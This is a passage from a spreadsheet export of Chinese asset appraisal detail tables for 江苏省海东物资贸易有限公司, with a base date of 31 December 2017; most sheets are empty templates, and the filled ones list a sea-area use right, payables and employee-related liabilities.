{"sheet":"4-8工程物资","index":62,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[0,0,0,12],[1,0,1,12],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,4,6],[4,7,4,9],[4,10,5,10],[4,11,5,11],[4,12,5,12],[25,0,25,3],[26,0,26,3],[27,0,27,3]],"flags":["formulas_cached_only"]}
["工程物资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":12},"表4-8"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","名称","工程项目","计量\n单位","账面价值",null,null,"评估价值",null,null,"增减值","增值率\n%","备注"]
[{"$nulls":4},"数量","单价","金额","实际数量","单价","金额"]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合            计",{"$nulls":5},0,null,null,0,null,""]
["减：工程物资减值准备",{"$nulls":10},""]
["合   　 计",{"$nulls":5},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-9固定资产清理","index":63,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[26,0,26,1]],"flags":["formulas_cached_only"]}
["固定资产清理评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-9"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","待处理资产名称","发生日期","账面价值","评估价值","增减值","增值率%","备注"]
{"$rows_empty":21}
["合     计",null,null,0,0,0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-10生产性生物资产","index":64,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[0,0,0,12],[1,0,1,12],[2,10,2,12],[3,10,3,12],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,4,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[25,0,25,2],[26,0,26,2],[27,0,27,2]],"flags":["formulas_cached_only"]}
["生产性生物资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表4-10"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","种类","群别","计量单位","数量","购置日期","账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":6},"原值","净值","原值","成新率%","净值"]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合            计",{"$nulls":5},0,0,0,null,0,""]
["减：生产性生物资产减值准备",{"$nulls":10},""]
["净      额",{"$nulls":5},0,0,0,null,0,0]
["被评估单位填表人：",{"$nulls":9},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-11油气资产","index":65,"n_rows":29,"n_cols":14,"rows_kept":29,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,4,8],[4,9,4,11],[4,12,5,12],[4,13,5,13],[24,0,24,2],[25,0,25,2],[26,0,26,2]],"flags":["formulas_cached_only"]}
["油气资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13},"表4-11"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","类别","矿区（或油田）","计量单位","数量","形成日期","来源（购入、自行建造）","账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":7},"原值","净值","原值","成新率%","净值"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
["合           计",{"$nulls":6},0,0,0,null,0,""]
["减：油气资产减值准备",{"$nulls":11},""]
["合     计",{"$nulls":6},0,0,0,null,0,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-12无形资产汇总","index":66,"n_rows":12,"n_cols":9,"rows_kept":12,"merged":[[0,0,0,5],[1,0,1,5],[8,0,8,1],[9,0,9,1],[10,0,10,1]],"flags":["formulas_cached_only"]}
["无形资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表4-12"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["4-12-1","无形资产-土地使用权",0,0,0,0,null,null,0]
["4-12-2","无形资产-矿业权",0,0,0,0]
["4-12-3","无形资产-其他无形资产",{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
["合        计",null,{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
["减：无形资产减值准备",{"$nulls":4},""]
["合    计",null,{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
[{"$nulls":3},"评估人员：孙倩华、凌伟"]

{"sheet":"4-12-1无形-土地","index":67,"n_rows":29,"n_cols":16,"rows_kept":29,"hidden":true,"merged":[[0,0,0,15],[1,0,1,15],[2,14,2,15],[3,13,3,15],[26,0,26,1]],"flags":["formulas_cached_only"]}
["无形资产—土地使用权评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":14},"表4-12-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值","账面价值","评估价值","增减值","增值率%","备注"]
[]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[]
["合         计",{"$nulls":10},0,0,0,0]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-12-2无形-矿业权","index":68,"n_rows":29,"n_cols":14,"rows_kept":29,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[2,12,2,13],[26,0,26,1]],"flags":["formulas_cached_only"]}
["无形资产—矿业权评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":12},"表4-12-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","名称、种类（探矿权/采矿权）","勘查（采矿）许可证编号","取得方式","取得日期","剩余有效年限","勘查开发阶段","核定（批准）生产规模","原始入账价值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
["合         计",{"$nulls":8},0,0,0,0]
["被评估单位填表人：",{"$nulls":9},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-12-3无形-其他","index":69,"n_rows":9,"n_cols":11,"rows_kept":9,"merged":[[0,0,0,10],[1,0,1,10],[6,0,6,1]],"flags":["formulas_cached_only"]}
["无形资产—其他无形资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表4-12-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","无形资产名称和内容","取得日期","法定/预计使用年限","尚可使用年限","原始入账价值","账面价值","评估价值","增减值","增值率%","备注"]
[1,"海域使用权证","2008-07-24","20",5.66,{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
["合         计",{"$nulls":5},{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-13开发支出","index":70,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[26,0,26,1]],"flags":["formulas_cached_only"]}
["开发支出评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-13"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","内容或名称","发生日期","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[]
[]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
["合            计",null,null,0,0,0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-14商誉","index":71,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[24,0,24,1],[25,0,25,1],[26,0,26,1]],"flags":["formulas_cached_only"]}
["商誉评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-14"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","内容或名称","取得日期","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
["合            计",null,null,0,0,0,""]
["减：商誉减值准备",{"$nulls":5},""]
["合     计",null,null,0,0,0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-15长期待摊费用","index":72,"n_rows":27,"n_cols":23,"rows_kept":27,"hidden":true,"merged":[[0,0,0,10],[0,12,0,22],[1,0,1,10],[1,12,1,22],[24,0,24,1],[24,12,24,13]],"flags":["formulas_cached_only"]}
["长期待摊费用评估明细表",{"$nulls":11},"长期待摊费用评估明细表"]
["评估基准日：2017年12月31日",{"$nulls":11},"评估基准日：2017年12月31日"]
[{"$nulls":10},"表4-15",{"$nulls":11},"表4-15"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元",null,"被评估单位名称：九江瑞昌口岸有限责任公司",{"$nulls":9},"金额单位：人民币元"]
["序号","费用名称或内容","形成日期","原始发生额","预计摊\n销月数","账面价值","尚存受\n益月数","评估价值","增减值","增值率%","备注",null,"序号","费用名称或内容","形成日期","原始发生额","预计摊\n销月数","账面价值","尚存受\n益月数","评估价值","增减值","增值率%","备注"]
{"$rows_empty":7}
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
[{"$nulls":9},"",{"$nulls":11},""]
["合          计",{"$nulls":4},0,null,0,0,0,null,null,"合          计",{"$nulls":4},0,null,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟",{"$nulls":3},"被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日",{"$nulls":11},"填表日期：2018年8月28日"]

{"sheet":"4-16递延所得税资产","index":73,"n_rows":29,"n_cols":6,"rows_kept":29,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[26,0,26,1]],"flags":["formulas_cached_only"]}
["递延所得税资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表4-16"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["序号","内容或名称","发生日期","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合             计",null,null,0,0]
["被评估单位填表人：",{"$nulls":3},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-17其他非流动资产","index":74,"n_rows":29,"n_cols":8,"rows_kept":29,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[26,0,26,1]],"flags":["formulas_cached_only"]}
["其他非流动资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表4-17"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","内容或名称","取得日期","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[{"$nulls":6},""]
[]
["合     计",null,null,0,0,0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-流动负债汇总","index":75,"n_rows":19,"n_cols":6,"rows_kept":19,"merged":[[0,0,0,5],[1,0,1,5],[17,0,17,1]],"flags":["formulas_cached_only"]}
["流动负债评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增值额","增值率%"]
["5-1","短期借款",0,0,0,0]
["5-2","交易性金融负债",0,0,0,0]
["5-3","应付票据",0,0,0,0]
["5-4","应付账款",{"v":118161.17,"d":"118,161.17"},{"v":118161.17,"d":"118,161.17"},0,0]
["5-5","预收款项",0,0,0,0]
["5-6","应付职工薪酬",{"v":113953.41,"d":"113,953.41"},{"v":113953.41,"d":"113,953.41"},0,0]
["5-7","应交税费",0,0,0,0]
["5-8","应付利息",0,0,0,0]
["5-9","应付股利（应付利润）",0,0,0,0]
["5-10","其他应付款",{"v":33830,"d":"33,830.00"},{"v":33830,"d":"33,830.00"},0,0]
["5-11","一年内到期的非流动负债",0,0,0,0]
["5-12","其他流动负债",0,0,0,0]
["流动负债合计",null,{"v":265944.58,"d":"265,944.58"},{"v":265944.58,"d":"265,944.58"},0,0]
[{"$nulls":3},"评估人员：孙倩华、凌伟"]

{"sheet":"5-1短期借款","index":76,"n_rows":27,"n_cols":11,"rows_kept":27,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[24,0,24,1]],"flags":["formulas_cached_only"]}
["短期借款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10}," 表5-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","放款银行（或机构）名称","发生日期","到期日","月利率%","币种","外币金额","账面价值","外币基准日汇率","评估价值","备注"]
[1,"江西瑞昌农村商业银行股份有限公司营业部","2018-03-27","2019-03-26",{"v":0.05655,"d":"5.655%"},"人民币"]
{"$rows_empty":18}
["合      计",{"$nulls":6},0,null,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-2交易性金融负债","index":77,"n_rows":29,"n_cols":7,"rows_kept":29,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[26,0,26,1]],"flags":["formulas_cached_only"]}
["交易性金融负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合            计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-3应付票据","index":78,"n_rows":41,"n_cols":8,"rows_kept":41,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[38,0,38,1]],"flags":["formulas_cached_only"]}
["应付票据评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表5-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","到期日","票面利率%","账面价值","评估价值","备注"]
{"$rows_empty":33}
["合       计",{"$nulls":4},0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-4应付账款","index":79,"n_rows":10,"n_cols":7,"rows_kept":10,"merged":[[0,0,0,6],[1,0,1,6],[7,0,7,1]],"flags":["formulas_cached_only"]}
["应付账款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","账面价值","评估价值","备注"]
[1,"滩涂商物公司",null,null,{"v":110790.17,"d":"110,790.17"},{"v":110790.17,"d":"110,790.17"}]
[2,"新疆正大物昆商贸有限公司",null,null,{"v":7371,"d":"7,371.00"},{"v":7371,"d":"7,371.00"}]
["合            计",{"$nulls":3},{"v":118161.17,"d":"118,161.17"},{"v":118161.17,"d":"118,161.17"}]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-5预收账款","index":80,"n_rows":27,"n_cols":7,"rows_kept":27,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[24,0,24,1]],"flags":["formulas_cached_only"]}
["预收账款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","账面价值","评估价值","备注"]
[1,"鲁锋"]
[2,"徐爱华"]
[3,"段力慧"]
[4,"瑞昌市苏瑞矿业有限公司"]
[5,"封孝明"]
[6,"陈世茂"]
[7,"张友军"]
[8,"瑞昌市怡发贸易有限公司"]
{"$rows_empty":11}
["合      计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-6职工薪酬","index":81,"n_rows":12,"n_cols":6,"rows_kept":12,"merged":[[0,0,0,5],[1,0,1,5],[9,0,9,1]],"flags":["formulas_cached_only"]}
["应付职工薪酬评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表5-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["序号","结算内容","发生日期","账面价值","评估价值","备注"]
[1,"基本养老保险费",null,{"v":27780.76,"d":"27,780.76"},{"v":27780.76,"d":"27,780.76"}]
[2,"住房公积金",null,{"v":245.1,"d":"245.10"},{"v":245.1,"d":"245.10"}]
[3,"工会经费",null,{"v":71477.27,"d":"71,477.27"},{"v":71477.27,"d":"71,477.27"}]
[4,"职工教育经费",null,{"v":14450.28,"d":"14,450.28"},{"v":14450.28,"d":"14,450.28"}]
["合       计",null,null,{"v":113953.41,"d":"113,953.41"},{"v":113953.41,"d":"113,953.41"}]
["被评估单位填表人：",{"$nulls":3},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-7应交税费","index":82,"n_rows":29,"n_cols":7,"rows_kept":29,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[26,0,26,1]],"flags":["formulas_cached_only"]}
["应交税费评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","征税机关","发生日期","税费种类","账面价值","评估价值","备注"]
[1,"瑞昌市国家税务局"]
[2,"瑞昌市地方税务局"]
{"$rows_empty":19}
["合        计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-8应付利息","index":83,"n_rows":29,"n_cols":9,"rows_kept":29,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[26,0,26,1]],"flags":["formulas_cached_only"]}
["应付利息评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表5-8"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","本金","利息所属期间","利息率%","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合            计",{"$nulls":5},0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-9应付股利（利润）","index":84,"n_rows":29,"n_cols":7,"rows_kept":29,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[26,0,26,1]],"flags":["formulas_cached_only"]}
["应付股利（应付利润）评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-9"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","投资单位名称（股东）","发生日期","利润所属期间","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合       计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-10其他应付款","index":85,"n_rows":9,"n_cols":7,"rows_kept":9,"merged":[[0,0,0,6],[1,0,1,6],[6,0,6,1]],"flags":["formulas_cached_only"]}
["其他应付款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-10"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","账面价值","评估价值","备注"]
[1,"风险金",null,null,{"v":33830,"d":"33,830.00"},{"v":33830,"d":"33,830.00"}]
["合      计",{"$nulls":3},{"v":33830,"d":"33,830.00"},{"v":33830,"d":"33,830.00"}]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-11一年到期非流动负债","index":86,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[0,0,0,7],[1,0,1,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["一年内到期的非流动负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":7},"表5-11"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","结算项目","发生日期","到期日","票面月利率%","账面价值","评估价值","备注"]
{"$rows_empty":22}
["合            计",{"$nulls":4},0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"5-12其他流动负债","index":87,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["其他流动负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表5-12"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","结算内容","账面价值","评估价值","备注"]
{"$rows_empty":22}
["合            计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-非流动负债汇总 ","index":88,"n_rows":29,"n_cols":6,"rows_kept":29,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[27,0,27,1]],"flags":["formulas_cached_only"]}
["非流动负债评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增值额","增值率%"]
["6-1","长期借款",{"$nulls":3},0]
["6-2","应付债券",{"$nulls":3},0]
["6-3","长期应付款",{"$nulls":3},0]
["6-4","专项应付款",{"$nulls":3},0]
["6-5","预计负债",{"$nulls":3},0]
["6-6","递延所得税负债",0,0,0,0]
["6-7","其他非流动负债",0,0,0,0]
{"$rows_empty":15}
["非流动负债合计",null,0,0,0,0]
[{"$nulls":4},"评估人员：孙倩华、凌伟"]

{"sheet":"6-1长期借款","index":89,"n_rows":30,"n_cols":11,"rows_kept":30,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[27,0,27,1]],"flags":["formulas_cached_only"]}
["长期借款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表6-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","放款银行（或机构）名称","发生日期","到期日","月利率%","币种","外币金额","账面价值","外币基准日汇率","评估价值","备注"]
[1,"江西瑞昌农村商业银行股份有限公司营业部","2017-01-19","2019-12-05",{"v":0.07395,"d":"7.395%"},"人民币"]
[2,"江西瑞昌农村商业银行股份有限公司营业部","2017-01-19","2019-12-05",{"v":0.07395,"d":"7.395%"},"人民币"]
{"$rows_empty":20}
["合       计",{"$nulls":6},0,null,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-2应付债券","index":90,"n_rows":29,"n_cols":9,"rows_kept":29,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[26,0,26,1]],"flags":["formulas_cached_only"]}
["应付债券评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表6-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","债券发行单位","债券种类","发生日期","到期日","票面利率%","账面价值","评估价值"," 备 注"]
{"$rows_empty":21}
["合            计",{"$nulls":5},0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-3长期应付款","index":91,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,4,6],[4,7,5,7],[4,8,5,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["长期应付款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表6-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","账面价值",null,null,"评估价值","备注"]
[{"$nulls":4},"初始额","利息及汇率净损失","合计"]
{"$rows_empty":21}
["合            计",{"$nulls":5},0,0]
["被评估单位填表人：",{"$nulls":5},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-4专项应付款","index":92,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
[]
["专项应付款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表6-4"]
